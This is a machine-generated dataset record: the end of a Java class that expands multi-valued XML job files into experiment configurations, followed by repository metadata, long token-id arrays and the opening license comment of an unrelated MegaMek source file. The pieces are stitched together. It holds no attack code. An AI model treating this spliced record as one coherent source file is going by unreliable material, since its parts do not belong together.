Logger.getLogger(ExperimentBuilder.class.getName()).log(
Level.SEVERE, null, e);
}
} else {
System.out.println("Job file not found");
System.exit(1);
}
return configurationFileNames;
}
private int expandElementsIterateElements(NodeList elements) {
for (int i = 0; i < elements.getLength(); i++) {
if (elements.item(i) instanceof Element) {
Element element = (Element) elements.item(i);
if (expandElementsIterateAttributes(element) == 1) {
return 1;
}
expandElementsIterateElements(element.getChildNodes());
}
}
return 0;
}
private int expandElementsIterateAttributes(Element element) {
NamedNodeMap attributes = element.getAttributes();
for (int i = 0; i < attributes.getLength(); i++) {
Node attribute = attributes.item(i);
if (attribute.getNodeName().equals("multi")) {
combinationBase.add(element.getElementsByTagName(element.getNodeName()).getLength());
return 1;
}
}
return 0;
}
private int expandElementsIterateElements(NodeList elements, int[] configurationSchema) {
for (int i = 0; i < elements.getLength(); i++) {
if (elements.item(i) instanceof Element) {
Element element = (Element) elements.item(i);
if (expandElementsIterateAtributes(element, configurationSchema) == 1) {
return 1;
}
expandElementsIterateElements(element.getChildNodes(), configurationSchema);
}
}
return 0;
}
private int expandElementsIterateAtributes(Element element, int[] configurationSchema) {
NamedNodeMap attributes = element.getAttributes();
for (int i = 0; i < attributes.getLength(); i++) {
Node attribute = attributes.item(i);
if (attribute.getNodeName().equals("multi")) {
NodeList list = element.getElementsByTagName(element.getNodeName());
for (int j = 0; j < configurationSchema.length; j++) {
if (configurationSchema[j] != -1) {
element.getParentNode().replaceChild(list.item(configurationSchema[j]), element);
configurationSchema[j] = -1;
break;
}
}
list = element.getChildNodes();
for (int j = 0; j < list.getLength(); j++) {
if (list.item(j).getNodeName().equals(attribute.getNodeName())) {
element.removeChild(list.item(j));
}
}
return 1;
}
}
return 0;
}
private ArrayList<String> expandAttributes(String jobFilename) {
combinationBase = new ArrayList<Integer>();
ArrayList<String> configurationFileNames = new ArrayList<String>();
// Try open job file
File jobFile = new File(jobFilename);
if (jobFile.exists()) {
try {
// Find the number of combinations to perform
expandAttributesIterateElements(new XMLConfiguration(jobFile).getDocument().getChildNodes());
int numberCombinations = 1;
// Calculate the amount of combinations
for (Integer i : combinationBase) {
numberCombinations *= i;
}
int[][] configurationSchema = new int[numberCombinations][];
for (int i = 0; i < numberCombinations; i++) {
configurationSchema[i] = new int[combinationBase.size()];
}
int consecutiveElements = numberCombinations;
int accProduct = 1;
// Calculate the combinations of each element
for (int i = 0; i < combinationBase.size(); i++) {
consecutiveElements /= combinationBase.get(i);
for (int j = 0; j < combinationBase.get(i); j++) {
for (int k = 0; k < consecutiveElements; k++) {
for (int r = 0; r < accProduct; r++) {
int step = consecutiveElements * combinationBase.get(i);
configurationSchema[r * step + j * consecutiveElements + k][i] = j;
}
}
}
accProduct *= combinationBase.get(i);
}
XMLConfiguration[] configurations = new XMLConfiguration[numberCombinations];
for (int i = 0; i < numberCombinations; i++) {
configurations[i] = new XMLConfiguration(jobFile);
//Build the document for each combination
expandAttributesIterateElements(configurations[i].getDocument().getChildNodes(), configurationSchema[i].clone());
}
for (int i = 0; i < numberCombinations; i++) {
String fileName = jobFilename;
for (int j = 0; j < configurationSchema[i].length; j++) {
fileName += "_" + configurationSchema[i][j];
}
configurations[i].save(new File(fileName));
configurationFileNames.add(fileName);
}
} catch (Exception e) {
Logger.getLogger(ExperimentBuilder.class.getName()).log(
Level.SEVERE, null, e);
}
} else {
System.out.println("Job file not found");
System.exit(1);
}
return configurationFileNames;
}
private int expandAttributesIterateElements(NodeList elements) {
for (int i = 0; i < elements.getLength(); i++) {
if (elements.item(i) instanceof Element) {
Element element = (Element) elements.item(i);
if (expandAttributesIterateAttributes(element) == 1) {
return 1;
}
expandAttributesIterateElements(element.getChildNodes());
}
}
return 0;
}
private int expandAttributesIterateAttributes(Element element) {
NamedNodeMap attributes = element.getAttributes();
for (int i = 0; i < attributes.getLength(); i++) {
Node attribute = attributes.item(i);
if (attribute.getNodeValue().equals("multi")) {
combinationBase.add(element.getElementsByTagName(attribute.getNodeName()).getLength());
return 1;
}
}
return 0;
}
private int expandAttributesIterateElements(NodeList elements, int[] configurationSchema) {
for (int i = 0; i < elements.getLength(); i++) {
if (elements.item(i) instanceof Element) {
Element element = (Element) elements.item(i);
if (expandAttributesIterateAtributes(element, configurationSchema) == 1) {
return 1;
}
expandAttributesIterateElements(element.getChildNodes(), configurationSchema);
}
}
return 0;
}
private int expandAttributesIterateAtributes(Element element, int[] configurationSchema) {
NamedNodeMap attributes = element.getAttributes();
for (int i = 0; i < attributes.getLength(); i++) {
Node attribute = attributes.item(i);
if (attribute.getNodeValue().equals("multi")) {
NodeList list = element.getElementsByTagName(attribute.getNodeName());
for (int j = 0; j < configurationSchema.length; j++) {
if (configurationSchema[j] != -1) {
attribute.setNodeValue(list.item(configurationSchema[j]).getFirstChild().getNodeValue());
configurationSchema[j] = -1;
break;
}
}
list = element.getChildNodes();
for (int j = 0; j < list.getLength(); j++) {
if (list.item(j).getNodeName().equals(attribute.getNodeName())) {
element.removeChild(list.item(j));
}
}
return 1;
}
}
return 0;
}
}
| 16,174
|
Java
|
.java
|
ogreyesp/JCLAL
| 24
| 10
| 0
|
2016-02-01T15:31:37Z
|
2017-07-24T08:14:30Z
|
f0b4f2162e76188071d15c127c5658b47c47378dfdca859a18eb429a401d62bc
|
[
1127,
222,
338,
1369,
3477,
458,
3760,
2951,
64,
863,
902,
14081,
580,
480,
52,
290,
222,
338,
5370,
580,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
222,
338,
641,
9582,
829,
341,
7834,
3870,
7120,
64,
3173,
1522,
244,
55,
222,
338,
451,
341,
1196,
49,
575,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
222,
338,
222,
338,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
338,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
338,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
222,
338,
6994,
6153,
5062,
1196,
456,
1851,
4261,
51,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
222,
338,
7979,
642,
477,
3477,
64,
434,
666,
49,
2886,
391,
341,
7834,
3870,
222,
338,
7120,
49,
6367,
4345,
244,
58,
62,
38849,
17693,
449,
25280,
244,
56,
56,
53,
49,
25006,
49,
13083,
280,
53,
55,
54,
54,
54,
50,
54,
56,
53,
60,
49,
15067,
51,
222,
588,
222,
1337,
3723,
51,
6463,
51,
111,
592,
298,
51,
10963,
64,
222,
222,
485,
1401,
51,
735,
51,
991,
64,
222,
485,
1401,
51,
1058,
51,
7119,
64,
222,
485,
1401,
51,
1058,
51,
7506,
51,
2671,
64,
222,
485,
1401,
51,
1058,
51,
7506,
51,
3716,
64,
222,
485,
1105,
51,
2121,
51,
8381,
51,
5990,
51,
5741,
2339,
64,
222,
485,
1105,
51,
124,
56,
104,
51,
4734,
51,
1325,
64,
222,
485,
1105,
51,
124,
56,
104,
51,
4734,
51,
11061,
1230,
1225,
64,
222,
485,
1105,
51,
124,
56,
104,
51,
4734,
51,
1230,
64,
222,
485,
1105,
51,
124,
56,
104,
51,
4734,
51,
29060,
64,
222,
222,
1350,
222,
338,
21400,
120,
4914,
51,
222,
338,
222,
338,
496,
2133,
47943,
36949,
694,
323,
5684,
222,
588,
222,
942,
462,
21400,
1812,
320,
303,
33360,
22593,
41221,
303,
453,
9528,
1577,
9749,
303,
33360,
22593,
41221,
465,
1041,
294,
338,
7822,
341,
7736,
1354,
294,
588,
303,
964,
5068,
65,
3078,
67,
16619,
1778,
64,
465,
33360,
22593,
41221,
303,
453,
9528,
306,
12836,
303,
33360,
22593,
41221,
303,
1041,
294,
338,
14888,
4389,
294,
588,
303,
581,
21400,
1812,
365,
320,
303,
339,
465,
1041,
294,
338,
9665,
6002,
341,
26454,
456,
341,
3505,
822,
294,
338,
294,
338,
496,
772,
9715,
6793,
906,
655,
451,
341,
9715,
822,
51,
294,
338,
496,
620,
906,
26454,
456,
341,
3505,
822,
51,
294,
588,
303,
581,
5068,
65,
671,
67,
1984,
10398,
45,
671,
9715,
6793,
46,
320,
310,
5068,
65,
671,
67,
18356,
299,
11782,
7466,
45,
10963,
6793,
312,
310,
5068,
65,
671,
67,
1187,
6880,
10398,
120,
299,
556,
5068,
65,
671,
2938,
310,
648,
1470,
10398,
120,
299,
244,
54,
64,
603,
1187,
6880,
10398,
120,
51,
15109,
45,
32436,
312,
603,
1041,
295,
338,
30618,
6973,
50,
3466,
337,
4725,
295,
588,
310,
764,
320,
343,
1470,
10398,
120,
299,
18356,
51,
911,
492,
1083,
5068,
65,
671,
67,
3290,
10398,
120,
299,
556,
5068,
65,
671,
2938,
1083,
456,
327,
671,
9715,
518,
18356,
46,
320,
419,
3290,
10398,
120,
51,
15109,
45,
8976,
7466,
45,
10963,
894,
343,
339,
1083,
1187,
6880,
10398,
120,
51,
15109,
45,
4536,
10398,
120,
312,
1083,
18356,
299,
3290,
10398,
120,
64,
603,
339,
2236,
327,
32436,
51,
911,
365,
882,
1470,
10398,
120,
312,
603,
1041,
295,
338,
30618,
6973,
50,
3466,
337,
5437,
295,
588,
310,
764,
320,
343,
1470,
10398,
120,
299,
18356,
51,
911,
492,
1083,
5068,
65,
671,
67,
3290,
10398,
120,
299,
556,
5068,
65,
671,
2938,
1083,
456,
327,
671,
9715,
518,
18356,
46,
320,
419,
3290,
10398,
120,
51,
15109,
45,
8976,
5097,
45,
10963,
894,
343,
339,
1083,
1187,
6880,
10398,
120,
51,
15109,
45,
4536,
10398,
120,
312,
1083,
18356,
299,
3290,
10398,
120,
64,
603,
339,
2236,
327,
32436,
51,
911,
365,
882,
1470,
10398,
120,
312,
603,
1187,
6880,
10398,
120,
51,
28768,
45,
32436,
312,
603,
1041,
295,
338,
6491,
1798,
2293,
295,
588,
310,
456,
327,
671,
1798,
518,
1187,
6880,
10398,
120,
46,
320,
343,
434,
1445,
1452,
51,
3591,
45,
10963,
6793,
509,
320,
419,
556,
2050,
45,
1452,
566,
2577,
492,
343,
339,
310,
339,
603,
1041,
295,
338,
11531,
341,
20911,
3505,
2293,
391,
341,
26454,
4865,
295,
588,
310,
434,
327,
32436,
51,
911,
365,
868,
244,
54,
46,
320,
343,
2050,
4937,
299,
556,
2050,
459,
32124,
742,
1083,
1041,
1819,
338,
1691,
341,
3378,
5394,
49,
3081,
1187,
2293,
1819,
588,
343,
434,
327,
1537,
51,
4678,
1177,
320,
419,
2050,
1197,
9715,
3852,
299,
4937,
51,
687,
3852,
492,
419,
456,
327,
991,
315,
518,
9715,
3852,
46,
320,
547,
315,
51,
2577,
492,
419,
339,
343,
339,
1041,
1819,
338,
24170,
49,
1506,
341,
3378,
1819,
588,
343,
832,
320,
419,
4937,
51,
10211,
492,
343,
339,
1083,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
18356,
51,
911,
492,
613,
2002,
320,
419,
2050,
822,
299,
556,
2050,
45,
32436,
51,
390,
45,
110,
894,
419,
822,
51,
13287,
724,
45,
909,
2050,
45,
1537,
49,
822,
51,
5175,
5086,
419,
910,
1197,
2293,
299,
18356,
51,
390,
45,
110,
566,
3045,
47241,
419,
910,
11221,
299,
2293,
96,
2558,
51,
1340,
449,
244,
54,
988,
419,
18356,
51,
489,
45,
110,
49,
4937,
51,
17676,
365,
494,
13198,
494,
11221,
312,
343,
339,
310,
339,
310,
1041,
295,
338,
2762,
341,
3505,
26801,
295,
588,
310,
461,
18356,
64,
303,
339,
465,
1041,
294,
338,
9665,
6002,
341,
6973,
50,
3466,
337,
4725,
456,
341,
4012,
10246,
3505,
822,
294,
338,
5402,
338,
496,
772,
4012,
10246,
906,
4012,
822,
655,
391,
5755,
294,
338,
496,
620,
2262,
1437,
687,
451,
821,
294,
588,
303,
964,
5068,
65,
671,
67,
11782,
7466,
45,
671,
4012,
10246,
46,
320,
310,
16619,
1778,
299,
556,
5068,
65,
3078,
2938,
603,
5068,
65,
671,
67,
3505,
991,
4128,
299,
556,
5068,
65,
671,
2938,
603,
453,
8982,
2177,
4012,
822,
310,
2050,
4012,
991,
299,
556,
2050,
45,
3267,
10246,
312,
603,
434,
327,
3267,
991,
51,
4678,
1177,
320,
343,
1614,
320,
2125,
453,
7499,
341,
1470,
451,
28409,
391,
4464,
419,
11782,
7466,
48287,
7466,
45,
909,
7408,
2339,
45,
3267,
991,
566,
35778,
941,
24200,
5919,
1052,
2125,
648,
1470,
23759,
1014,
299,
244,
54,
64,
2125,
453,
14991,
341,
5190,
451,
28409,
419,
456,
327,
3078,
613,
518,
16619,
1778,
46,
320,
547,
1470,
23759,
1014,
10465,
613,
64,
419,
339,
2125,
648,
11338,
3505,
3710,
299,
556,
648,
96,
2188,
23759,
1014,
1697,
988,
2125,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
1470,
23759,
1014,
64,
613,
2002,
320,
547,
3505,
3710,
96,
110,
98,
299,
556,
648,
96,
20939,
387,
1778,
51,
911,
22061,
419,
339,
2125,
648,
36110,
7466,
299,
1470,
23759,
1014,
64,
419,
648,
3506,
3420,
299,
244,
54,
64,
2125,
453,
14991,
341,
28409,
451,
2531,
2016,
419,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
16619,
1778,
51,
911,
492,
613,
2002,
320,
547,
36110,
7466,
14414,
16619,
1778,
51,
390,
45,
110,
312,
3704,
456,
327,
429,
614,
299,
244,
53,
64,
614,
350,
16619,
1778,
51,
390,
45,
110,
312,
614,
2002,
320,
733,
456,
327,
429,
851,
299,
244,
53,
64,
851,
350,
36110,
7466,
64,
851,
2002,
320,
1031,
456,
327,
429,
559,
299,
244,
53,
64,
559,
350,
3506,
3420,
64,
559,
2002,
320,
1396,
648,
3138,
299,
36110,
7466,
338,
16619,
1778,
51,
390,
45,
110,
312,
1396,
3505,
3710,
96,
119,
338,
3138,
494,
614,
338,
36110,
7466,
494,
851,
1697,
110,
98,
299,
614,
64,
1031,
339,
733,
339,
547,
339,
3704,
3506,
3420,
10465,
16619,
1778,
51,
390,
45,
110,
312,
419,
339,
2125,
7408,
2339,
1197,
18356,
299,
556,
7408,
2339,
96,
2188,
23759,
1014,
988,
2125,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
1470,
23759,
1014,
64,
613,
2002,
320,
547,
18356,
96,
110,
98,
299,
556,
7408,
2339,
45,
3267,
991,
312,
3704,
11782,
7466,
48287,
7466,
45,
32436,
96,
110,
1015,
35778,
941,
24200,
5919,
1046,
3505,
3710,
96,
110,
1015,
6371,
1052,
419,
339,
2125,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
1470,
23759,
1014,
64,
613,
2002,
320,
547,
910,
11221,
299,
4012,
10246,
64,
3704,
456,
327,
429,
614,
299,
244,
53,
64,
614,
350,
3505,
3710,
96,
110,
1015,
1340,
64,
614,
2002,
320,
733,
11221,
1475,
25848,
494,
3505,
3710,
96,
110,
1697,
111,
988,
547,
339,
3704,
18356,
96,
110,
1015,
2882,
45,
909,
2050,
45,
10452,
894,
3704,
3505,
991,
4128,
51,
688,
45,
10452,
312,
419,
339,
343,
339,
2385,
327,
1002,
503,
46,
320,
419,
7145,
51,
10588,
45,
10398,
1812,
51,
842,
51,
5175,
4269,
769,
45,
733,
11587,
51,
38715,
49,
762,
49,
503,
312,
343,
339,
310,
339,
832,
320,
343,
1189,
51,
560,
51,
3962,
459,
3798,
822,
666,
2448,
742,
343,
1189,
51,
4788,
45,
54,
312,
310,
339,
603,
461,
3505,
991,
4128,
64,
303,
339,
465,
964,
648,
11782,
7466,
48287,
7466,
45,
29060,
4725,
46,
320,
310,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
4725,
51,
30031,
492,
613,
2002,
320,
343,
434,
327,
7620,
51,
1113,
45,
110,
46,
5118,
6840,
46,
320,
419,
6840,
2016,
299,
327,
1325,
46,
4725,
51,
1113,
45,
110,
312,
2125,
434,
327,
8976,
7466,
48287,
5097,
45,
2559,
46,
630,
244,
54,
46,
320,
547,
461,
244,
54,
64,
419,
339,
2125,
11782,
7466,
48287,
7466,
45,
2559,
51,
24200,
5919,
1052,
343,
339,
310,
339,
603,
461,
244,
53,
64,
303,
339,
465,
964,
648,
11782,
7466,
48287,
5097,
45,
1325,
2016,
46,
320,
310,
19593,
1230,
1225,
5437,
299,
2016,
51,
43174,
492,
603,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
5437,
51,
30031,
492,
613,
2002,
320,
343,
4021,
3895,
299,
5437,
51,
1113,
45,
110,
312,
1083,
434,
327,
4902,
51,
17701,
577,
941,
3591,
459,
6870,
2152,
320,
419,
16619,
1778,
51,
688,
45,
2559,
51,
22049,
45,
2559,
51,
17701,
577,
4269,
30031,
1052,
419,
461,
244,
54,
64,
343,
339,
310,
339,
603,
461,
244,
53,
64,
303,
339,
465,
964,
648,
11782,
7466,
48287,
7466,
45,
29060,
4725,
49,
648,
1197,
3505,
3710,
46,
320,
310,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
4725,
51,
30031,
492,
613,
2002,
320,
343,
434,
327,
7620,
51,
1113,
45,
110,
46,
5118,
6840,
46,
320,
419,
6840,
2016,
299,
327,
1325,
46,
4725,
51,
1113,
45,
110,
312,
2125,
434,
327,
8976,
7466,
48287,
1094,
849,
326,
45,
2559,
49,
3505,
3710,
46,
630,
244,
54,
46,
320,
547,
461,
244,
54,
64,
419,
339,
2125,
11782,
7466,
48287,
7466,
45,
2559,
51,
24200,
5919,
1046,
3505,
3710,
312,
343,
339,
310,
339,
603,
461,
244,
53,
64,
303,
339,
465,
964,
648,
11782,
7466,
48287,
1094,
849,
326,
45,
1325,
2016,
49,
648,
1197,
3505,
3710,
46,
320,
310,
19593,
1230,
1225,
5437,
299,
2016,
51,
43174,
492,
603,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
5437,
51,
30031,
492,
613,
2002,
320,
343,
4021,
3895,
299,
5437,
51,
1113,
45,
110,
312,
1083,
434,
327,
4902,
51,
17701,
577,
941,
3591,
459,
6870,
2152,
320,
419,
4021,
739,
1168,
299,
2016,
51,
22049,
45,
2559,
51,
17701,
577,
1052,
2125,
456,
327,
429,
614,
299,
244,
53,
64,
614,
350,
3505,
3710,
51,
1340,
64,
614,
2002,
320,
547,
434,
327,
5990,
3710,
96,
111,
98,
882,
449,
54,
46,
320,
733,
2016,
51,
18777,
1230,
941,
3249,
2950,
45,
687,
51,
1113,
45,
5990,
3710,
96,
111,
5759,
2016,
312,
6205,
3505,
3710,
96,
111,
98,
299,
449,
54,
64,
733,
1644,
64,
547,
339,
419,
339,
2125,
1168,
299,
2016,
51,
24200,
5919,
492,
2125,
456,
327,
429,
614,
299,
244,
53,
64,
614,
350,
1168,
51,
30031,
492,
614,
2002,
320,
547,
434,
327,
687,
51,
1113,
45,
111,
566,
17701,
577,
941,
3591,
45,
4902,
51,
17701,
577,
5183,
320,
733,
2016,
51,
28844,
45,
687,
51,
1113,
45,
111,
894,
547,
339,
419,
339,
2125,
461,
244,
54,
64,
343,
339,
310,
339,
603,
461,
244,
53,
64,
303,
339,
465,
964,
5068,
65,
671,
67,
11782,
5097,
45,
671,
4012,
10246,
46,
320,
310,
16619,
1778,
299,
556,
5068,
65,
3078,
2938,
603,
5068,
65,
671,
67,
3505,
991,
4128,
299,
556,
5068,
65,
671,
2938,
603,
453,
8982,
2177,
4012,
822,
310,
2050,
4012,
991,
299,
556,
2050,
45,
3267,
10246,
312,
603,
434,
327,
3267,
991,
51,
4678,
1177,
320,
343,
1614,
320,
2125,
453,
7499,
341,
1470,
451,
28409,
391,
4464,
419,
11782,
5097,
48287,
7466,
45,
909,
7408,
2339,
45,
3267,
991,
566,
35778,
941,
24200,
5919,
1052,
2125,
648,
1470,
23759,
1014,
299,
244,
54,
64,
2125,
453,
14991,
341,
5190,
451,
28409,
419,
456,
327,
3078,
613,
518,
16619,
1778,
46,
320,
547,
1470,
23759,
1014,
10465,
613,
64,
419,
339,
2125,
648,
11338,
3505,
3710,
299,
556,
648,
96,
2188,
23759,
1014,
1697,
988,
2125,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
1470,
23759,
1014,
64,
613,
2002,
320,
547,
3505,
3710,
96,
110,
98,
299,
556,
648,
96,
20939,
387,
1778,
51,
911,
22061,
419,
339,
2125,
648,
36110,
7466,
299,
1470,
23759,
1014,
64,
419,
648,
3506,
3420,
299,
244,
54,
64,
2125,
453,
14991,
341,
28409,
451,
2531,
2016,
419,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
16619,
1778,
51,
911,
492,
613,
2002,
320,
547,
36110,
7466,
14414,
16619,
1778,
51,
390,
45,
110,
312,
3704,
456,
327,
429,
614,
299,
244,
53,
64,
614,
350,
16619,
1778,
51,
390,
45,
110,
312,
614,
2002,
320,
733,
456,
327,
429,
851,
299,
244,
53,
64,
851,
350,
36110,
7466,
64,
851,
2002,
320,
1031,
456,
327,
429,
559,
299,
244,
53,
64,
559,
350,
3506,
3420,
64,
559,
2002,
320,
1396,
648,
3138,
299,
36110,
7466,
338,
16619,
1778,
51,
390,
45,
110,
312,
1396,
3505,
3710,
96,
119,
338,
3138,
494,
614,
338,
36110,
7466,
494,
851,
1697,
110,
98,
299,
614,
64,
1031,
339,
733,
339,
547,
339,
3704,
3506,
3420,
10465,
16619,
1778,
51,
390,
45,
110,
312,
419,
339,
2125,
7408,
2339,
1197,
18356,
299,
556,
7408,
2339,
96,
2188,
23759,
1014,
988,
2125,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
1470,
23759,
1014,
64,
613,
2002,
320,
547,
18356,
96,
110,
98,
299,
556,
7408,
2339,
45,
3267,
991,
312,
3704,
453,
3328,
341,
1840,
456,
2531,
16619,
547,
11782,
5097,
48287,
7466,
45,
32436,
96,
110,
1015,
35778,
941,
24200,
5919,
1046,
3505,
3710,
96,
110,
1015,
6371,
1052,
419,
339,
2125,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
1470,
23759,
1014,
64,
613,
2002,
320,
547,
910,
11221,
299,
4012,
10246,
64,
3704,
456,
327,
429,
614,
299,
244,
53,
64,
614,
350,
3505,
3710,
96,
110,
1015,
1340,
64,
614,
2002,
320,
733,
11221,
1475,
25848,
494,
3505,
3710,
96,
110,
1697,
111,
988,
547,
339,
3704,
18356,
96,
110,
1015,
2882,
45,
909,
2050,
45,
10452,
894,
3704,
3505,
991,
4128,
51,
688,
45,
10452,
312,
419,
339,
343,
339,
2385,
327,
1002,
503,
46,
320,
419,
7145,
51,
10588,
45,
10398,
1812,
51,
842,
51,
5175,
4269,
769,
45,
733,
11587,
51,
38715,
49,
762,
49,
503,
312,
343,
339,
310,
339,
832,
320,
343,
1189,
51,
560,
51,
3962,
459,
3798,
822,
666,
2448,
742,
343,
1189,
51,
4788,
45,
54,
312,
310,
339,
603,
461,
3505,
991,
4128,
64,
303,
339,
465,
964,
648,
11782,
5097,
48287,
7466,
45,
29060,
4725,
46,
320,
310,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
4725,
51,
30031,
492,
613,
2002,
320,
343,
434,
327,
7620,
51,
1113,
45,
110,
46,
5118,
6840,
46,
320,
419,
6840,
2016,
299,
327,
1325,
46,
4725,
51,
1113,
45,
110,
312,
2125,
434,
327,
8976,
5097,
48287,
5097,
45,
2559,
46,
630,
244,
54,
46,
320,
547,
461,
244,
54,
64,
419,
339,
2125,
11782,
5097,
48287,
7466,
45,
2559,
51,
24200,
5919,
1052,
343,
339,
310,
339,
603,
461,
244,
53,
64,
303,
339,
465,
964,
648,
11782,
5097,
48287,
5097,
45,
1325,
2016,
46,
320,
310,
19593,
1230,
1225,
5437,
299,
2016,
51,
43174,
492,
603,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
5437,
51,
30031,
492,
613,
2002,
320,
343,
4021,
3895,
299,
5437,
51,
1113,
45,
110,
312,
1083,
434,
327,
4902,
51,
17701,
899,
941,
3591,
459,
6870,
2152,
320,
419,
16619,
1778,
51,
688,
45,
2559,
51,
22049,
45,
4902,
51,
17701,
577,
4269,
30031,
1052,
419,
461,
244,
54,
64,
343,
339,
310,
339,
603,
461,
244,
53,
64,
303,
339,
465,
964,
648,
11782,
5097,
48287,
7466,
45,
29060,
4725,
49,
648,
1197,
3505,
3710,
46,
320,
310,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
4725,
51,
30031,
492,
613,
2002,
320,
343,
434,
327,
7620,
51,
1113,
45,
110,
46,
5118,
6840,
46,
320,
419,
6840,
2016,
299,
327,
1325,
46,
4725,
51,
1113,
45,
110,
312,
2125,
434,
327,
8976,
5097,
48287,
1094,
849,
326,
45,
2559,
49,
3505,
3710,
46,
630,
244,
54,
46,
320,
547,
461,
244,
54,
64,
419,
339,
2125,
11782,
5097,
48287,
7466,
45,
2559,
51,
24200,
5919,
1046,
3505,
3710,
312,
343,
339,
310,
339,
603,
461,
244,
53,
64,
303,
339,
465,
964,
648,
11782,
5097,
48287,
1094,
849,
326,
45,
1325,
2016,
49,
648,
1197,
3505,
3710,
46,
320,
310,
19593,
1230,
1225,
5437,
299,
2016,
51,
43174,
492,
603,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
5437,
51,
30031,
492,
613,
2002,
320,
343,
4021,
3895,
299,
5437,
51,
1113,
45,
110,
312,
1083,
434,
327,
4902,
51,
17701,
899,
941,
3591,
459,
6870,
2152,
320,
419,
4021,
739,
1168,
299,
2016,
51,
22049,
45,
4902,
51,
17701,
577,
1052,
2125,
456,
327,
429,
614,
299,
244,
53,
64,
614,
350,
3505,
3710,
51,
1340,
64,
614,
2002,
320,
547,
434,
327,
5990,
3710,
96,
111,
98,
882,
449,
54,
46,
320,
733,
3895,
51,
489,
1230,
899,
45,
687,
51,
1113,
45,
5990,
3710,
96,
111,
8527,
25628,
2950,
941,
17701,
899,
1052,
733,
3505,
3710,
96,
111,
98,
299,
449,
54,
64,
733,
1644,
64,
547,
339,
419,
339,
2125,
1168,
299,
2016,
51,
24200,
5919,
492,
2125,
456,
327,
429,
614,
299,
244,
53,
64,
614,
350,
1168,
51,
30031,
492,
614,
2002,
320,
547,
434,
327,
687,
51,
1113,
45,
111,
566,
17701,
577,
941,
3591,
45,
4902,
51,
17701,
577,
5183,
320,
733,
2016,
51,
28844,
45,
687,
51,
1113,
45,
111,
894,
547,
339,
419,
339,
2125,
461,
244,
54,
64,
343,
339,
310,
339,
603,
461,
244,
53,
64,
303,
339,
222,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 3,191
| true
| 52.052677
| true
| true
|
ISGaussRifle.java
|
/FileExtraction/Java_unseen/MegaMek_megamek/megamek/src/megamek/common/weapons/gaussrifles/ISGaussRifle.java
|
/*
* MegaMek - Copyright (C) 2004, 2005 Ben Mazur ([email protected])
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the Free
* Software Foundation; either version 2 of the License, or (at your option)
* any later version.
*
